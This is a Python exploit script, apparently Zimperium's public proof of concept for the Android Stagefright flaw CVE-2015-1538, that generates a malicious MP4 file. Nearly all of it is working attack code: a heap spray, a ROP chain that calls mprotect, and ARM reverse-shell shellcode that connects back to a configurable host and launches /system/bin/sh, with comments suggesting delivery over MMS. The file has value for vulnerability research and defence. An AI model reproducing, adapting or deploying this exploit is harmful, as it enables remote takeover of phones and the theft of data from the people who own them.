#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 'stsc' atom handling
#
# Don't forget, the output of "create_mp4" can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one...
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# "With great power comes great responsibility." - Uncle Ben
#

import struct
import socket


#
# Creates a single MP4 atom - LEN, TAG, DATA
#
def make_chunk(tag, data):
    if len(tag) != 4:
        raise 'Yo! They call it "FourCC" for a reason.'
    ret = struct.pack('>L', len(data) + 8)
    ret += tag
    ret += data
    return ret


#
# Make an 'stco' atom - Sample Table Chunk Offets
#
def make_stco(extra=''):
    ret =  struct.pack('>L', 0) # version
    ret += struct.pack('>L', 0) # mNumChunkOffsets
    return make_chunk('stco', ret+extra)

#
# Make an 'stsz' atom - Sample Table Size
#
def make_stsz(extra=''):
    ret =  struct.pack('>L', 0) # version
    ret += struct.pack('>L', 0) # mDefaultSampleSize
    ret += struct.pack('>L', 0) # mNumSampleSizes
    return make_chunk('stsz', ret+extra)

#
# Make an 'stts' atom - Sample Table Time-to-Sample
#
def make_stts():
    ret =  struct.pack('>L', 0) # version
    ret += struct.pack('>L', 0) # mTimeToSampleCount
    return make_chunk('stts', ret)


#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
    ret = ''
    ret += struct.pack('>L', start + 1)
    ret += struct.pack('>L', per)
    ret += struct.pack('>L', desc)
    return ret

#
# Make an 'stsc' chunk - Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
    ret =  struct.pack('>L', 0) # version/flags

    # this is the clean version...
    if not do_overflow:
        ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
        ret += 'Z' * (12 * num_alloc)
        return make_chunk('stsc', ret)

    # now the explicit version. (trigger the bug)
    ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets

    # fill in the entries that will overflow the buffer
    for x in range(0, num_write):
        ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

    ret = make_chunk('stsc', ret)

    # patch the data_size
    ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]

    return ret

#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
"""
(gdb) x/10i __dl_restore_core_regs
   0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
   0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
   0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
   0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
   0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
"""

"""
b0001144 <__dl_mprotect>:
b0001144:       e92d0090        push    {r4, r7}
b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
b000114c:       ef000000        svc     0x00000000
b0001150:       e8bd0090        pop     {r4, r7}
b0001154:       e1b00000        movs    r0, r0
b0001158:       512fff1e        bxpl    lr
b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
"""

def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
    rop = ''
    rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
    rop += struct.pack('<L', 0xb0002a98)           # new lr - pop {pc}
    rop += struct.pack('<L', 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}

    rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
    rop += struct.pack('<L', 0x1000)               # new r1 - length
    rop += struct.pack('<L', 7)                    # new r2 - protection
    rop += struct.pack('<L', 0xd000d003)           # new r3 - scratch
    rop += struct.pack('<L', 0xd000d004)           # new r4 - scratch
    rop += struct.pack('<L', 0xb0001144)           # new pc - _dl_mprotect

    native_start = sp_addr + 0x80
    rop += struct.pack('<L', native_start)         # address of native payload
    #rop += struct.pack('<L', 0xfeedfed5)          # top of stack...
    # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
    buf =  ''
    # fork
    buf += '\x02\x70\xa0\xe3'
    buf += '\x00\x00\x00\xef'
    # continue if not parent...
    buf += '\x00\x00\x50\xe3'
    buf += '\x02\x00\x00\x0a'
    # exit parent
    buf += '\x00\x00\xa0\xe3'
    buf += '\x01\x70\xa0\xe3'
    buf += '\x00\x00\x00\xef'
    # setsid in child
    buf += '\x42\x70\xa0\xe3'
    buf += '\x00\x00\x00\xef'
    # socket/connect/dup2/dup2/dup2
    buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
    buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
    buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
    buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
    buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
    buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
    buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
    buf += '\xe3\x00\x00\x00\xef'
    # execve(shell, argv, env)
    buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
    buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
    buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
    buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
    buf += '\xef\x02\x00'
    # Add the connect back host/port
    buf += struct.pack('!H', cb_port)
    cb_host = socket.inet_aton(cb_host)
    buf += struct.pack('=4s', cb_host)
    # shell -
    buf += '/system/bin/sh\x00\x00'
    # argv -
    buf += 'sh\x00\x00'
    # env -
    buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'

    # Add some identifiable stuff, just in case something goes awry...
    rop_start_off = 0x34
    x = rop_start_off + len(rop)
    while len(rop) < 0x80 - rop_start_off:
        rop += struct.pack('<L', 0xf0f00000+x)
        x += 4

    # Add the native payload...
    rop += buf

    return rop

#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here...
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
    chunks = []

    # Build the MP4 header...
    ftyp =  'mp42'
    ftyp += struct.pack('>L', 0)
    ftyp += 'mp42'
    ftyp += 'isom'
    chunks.append(make_chunk('ftyp', ftyp))

    # Note, this causes a few allocations...
    moov_data = ''
    moov_data += make_chunk('mvhd',
        struct.pack('>LL', 0, 0x41414141) +
        ('B' * 0x5c) )

    # Add a minimal, verified trak to satisfy mLastTrack being set
    moov_data += make_chunk('trak',
        make_chunk('stbl',
            make_stsc(0x28, 0x28) +
            make_stco() +
            make_stsz() +
            make_stts() ))

    # Spray the heap using a large tx3g chunk (can contain binary data!)
    """
       0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
       0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
       0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
       0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
       0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
       0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
       0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
       0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
       0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
       0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
       0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
       0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
    """
    page = ''
    off = 0  # the offset to the next object
    off += 8
    page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)
    page += struct.pack('<L', sp_addr + off) # mRefs
    off += 16
    page += struct.pack('<L', 1)             # mStrong
    page += struct.pack('<L', 0xc0dedbad)    # mWeak
    page += struct.pack('<L', sp_addr + off) # mBase
    page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
    off += 8
    page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
    page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)
    off += 16
    page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0
    page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4
    page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8
    page += struct.pack('<L', newpc_val)          # vtable entry 12
    rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
    x = len(page)
    while len(page) < 4096:
        page += struct.pack('<L', 0xf0f00000+x)
        x += 4

    off = 0x34
    page = page[:off] + rop + page[off+len(rop):]
    spray = page * (((2*1024*1024) / len(page)) - 20)
    moov_data += make_chunk('tx3g', spray)
    block = 'A' * 0x1c
    bigger = 'B' * 0x40
    udta = make_chunk('udta',
        make_chunk('meta',
            struct.pack('>L', 0) +
            make_chunk('ilst',
                make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
                make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
                make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
                make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
            )
        )
    moov_data += udta

    # Make the nasty trak
    tkhd1 = ''.join([
        '\x00',       # version
        'D' * 3,      # padding
        'E' * (5*4),  # {c,m}time, id, ??, duration
        'F' * 0x10,   # ??
        struct.pack('>LLLLLL',
            0x10000,  # a00
            0,        # a01
            0,        # dx
            0,        # a10
            0x10000,  # a11
            0),       # dy
        'G' * 0x14
        ])

    trak1 = ''
    trak1 += make_chunk('tkhd', tkhd1)

    mdhd1 = ''.join([
        '\x00',       # version
        'D' * 0x17,   # padding
        ])

    mdia1 = ''
    mdia1 += make_chunk('mdhd', mdhd1)
    mdia1 += make_chunk('hdlr', 'F' * 0x3a)

    dinf1 = ''
    dinf1 += make_chunk('dref', 'H' * 0x14)

    minf1 = ''
    minf1 += make_chunk('smhd', 'G' * 0x08)
    minf1 += make_chunk('dinf', dinf1)

    # Build the nasty sample table to trigger the vulnerability here.
    stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER

    # Add the stbl to the minf chunk
    minf1 += make_chunk('stbl', stbl1)

    # Add the minf to the mdia chunk
    mdia1 += make_chunk('minf', minf1)

    # Add the mdia to the track
    trak1 += make_chunk('mdia', mdia1)

    # Add the nasty track to the moov data
    moov_data += make_chunk('trak', trak1)

    # Finalize the moov chunk
    moov = make_chunk('moov', moov_data)
    chunks.append(moov)

    # Combine outer chunks together and voila.
    data = ''.join(chunks)

    return data

if __name__ == '__main__':
    import sys
    import mp4
    import argparse

    def write_file(path, content):
        with open(path, 'wb') as f:
            f.write(content)

    def addr(sval):
        if sval.startswith('0x'):
            return int(sval, 16)
        return int(sval)

    # The address of a fake StrongPointer object (sprayed)
    sp_addr   = 0x41d00010  # takju @ imm76i - 2MB (via hangouts)

    # The address to of our ROP pivot
    newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

    # Allow the user to override parameters
    parser = argparse.ArgumentParser()
    parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7')
    parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345)
    parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None)
    parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None)
    parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4')
    args = parser.parse_args()

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(-1)

    if args.spray_addr == None:
        args.spray_addr = sp_addr
    if args.rop_pivot == None:
        args.rop_pivot = newpc_val

    # Build the MP4 file...
    data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
    print('[*] Saving crafted MP4 to %s ...' % args.output_file)
    write_file(args.output_file, data)

